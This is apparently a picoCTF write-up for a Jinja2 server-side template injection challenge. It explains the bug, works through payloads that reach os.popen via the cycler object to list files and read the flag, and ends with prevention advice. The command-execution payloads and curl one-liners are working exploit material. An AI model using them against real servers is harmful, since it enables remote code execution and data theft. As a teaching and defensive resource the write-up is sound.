Description
The announcement form renders unescaped Jinja2 templates, so you can access Python globals through the cycler object and execute shell commands.
Load the challenge URL and locate the text field that reflects arbitrary user input.
Submit a harmless template (e.g., {{7*7}}) to confirm server-side template execution.
curl http://rescued-float.picoctf.net:52534/curl -L -X POST -d "content={{7*7}}" http://rescued-float.picoctf.net:52534/Solution
Walk me through it- Step 1Pop a shell via cyclerJinja exposes the
cyclerhelper, whose__init__.__globals__dictionary contains theosmodule. Callingos.popenlets you run arbitrary commands from a template payload.bash{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}Learn more
Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template string that is then rendered by a server-side template engine. Unlike reflected XSS (which runs in the victim's browser), SSTI runs on the server with the application's privileges, making it far more dangerous. The canonical test payload is
{{7*7}}: if the server responds with49instead of the literal string{{7*7}}, template injection is confirmed.Jinja2, Flask's default template engine, exposes a global namespace containing Python builtins and context objects. The
cyclerobject (a Jinja2 utility for cycling through values) is always available in the template context. Its__init__method is a Python function, and all Python functions carry a__globals__attribute pointing to the module's global namespace. If theosmodule was imported anywhere in the application, it appears in this dictionary, accessible via template syntax without any import statement in the payload itself.SSTI is ranked in the OWASP Top 10 under Injection and has led to complete server compromise in real-world incidents. Affected template engines include Jinja2, Twig (PHP), FreeMarker (Java), Pebble (Java), Velocity (Java), and others. The payload chain differs per engine, which is why identification (what engine is running?) precedes exploitation in a real engagement. Web challenges and real-world bug patterns covers SSTI alongside the other Top-10 classes.
This payload works here because the SSTI1 endpoint applies no character filter; the underscores, dots, and the literal word
cyclerall pass through. SSTI2 is the same vulnerability with a keyword blacklist bolted on, which forces the same gadget to be expressed without underscores or thecycleridentifier and is why the next challenge feels like a different bug. - Step 2Read the flag fileListing the directory reveals the
flagfile. Replace the command string withcat flag(or use curl to POST the payload) and the response contains the picoCTF flag.bash{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}bashcurl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/Learn more
os.popen()opens a pipe to a shell command and returns a file-like object whose.read()method captures standard output.subprocess.run(..., capture_output=True)reaches the same outcome but is the modern, safer interface (explicit argument lists, better error handling, no implicit shell). The two are not interchangeable in production code;popenis the legacy, one-liner-friendly form, whilesubprocessis what you should reach for in a real codebase. For SSTI specifically,popenis the better tool because it fits inline as a single chained expression with no imports beyondos.From a defensive standpoint, the root fix is trivially simple: never pass user input directly to a template renderer. Instead, pass data as template variables using the context dictionary, e.g.
render_template('page.html', content=user_input), and reference it as{{ content }}in the template file. Jinja2 automatically HTML-escapes variables rendered this way, preventing both SSTI and XSS. The vulnerability only exists when code usesrender_template_string(user_input)orjinja2.Environment().from_string(user_input)directly.If template rendering of user content is genuinely required (e.g., a CMS allowing template-like syntax), the mitigation is to use a sandboxed environment:
jinja2.sandbox.SandboxedEnvironment()blocks access to private attributes (__init__,__globals__) and disallows calling arbitrary Python functions. Treat this as a speed bump rather than a wall: published sandbox escapes exist for most template engines, attribute filters can be bypassed with|attr()+ dynamic strings, and any object exposed to the template that holds a reference to a function carrying__globals__is potentially a gadget. Sandboxing raises the exploitation bar; it does not eliminate the vulnerability class. - Step 3Optional: script the extractionPipe the HTML through grep/cut if you want a clean output from the command line.bash
curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/ | grep -E "picoCTF\{.*\}"Learn more
Chaining
curlwith text processing tools likegrep,cut, andsedis a quick way to automate flag extraction without writing a full Python script. The-Eflag enables extended regular expressions ingrep, andpicoCTF\{.*\}matches the flag pattern. This approach works well for one-off extractions but breaks if the flag contains characters that have special regex meaning.For more robust automation, pwntools (via
from pwn import *) provides HTTP request helpers alongside its binary exploitation capabilities. For web-only challenges, requests (Python) or httpx offer clean APIs for building and sending POST requests, parsing JSON responses, and following redirects, making them ideal for multi-step web exploits that require maintaining session state across requests.Scripting the exploit also makes it reproducible: if the challenge instance resets or you want to demonstrate the vulnerability to others, a self-contained script is far more reliable than manual browser interactions. Good CTF habit is to save every working exploit script in your notes alongside the flag.
Flag
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}
The payload chain works in-browser or via curl; both outputs include the full flag inside the rendered HTML.
How to prevent this
How to prevent this
SSTI is a single-line bug. Two patterns kill it for good.
- Never call
render_template_string(user_input)orEnvironment().from_string(user_input). Pass user data as a variable into a fixed template:render_template("page.html", content=user_input). The renderer escapes it automatically. - If the product genuinely needs user-supplied templates (CMS, email builder), use
jinja2.sandbox.SandboxedEnvironment()with an explicit attribute allowlist. Sandbox escapes exist; treat the surface as hostile and keep the variable set minimal. - Add a static-analysis rule (Semgrep, Bandit, CodeQL) that flags any string-based template entrypoint. SSTI hides in one-line refactors; CI is the only durable defense.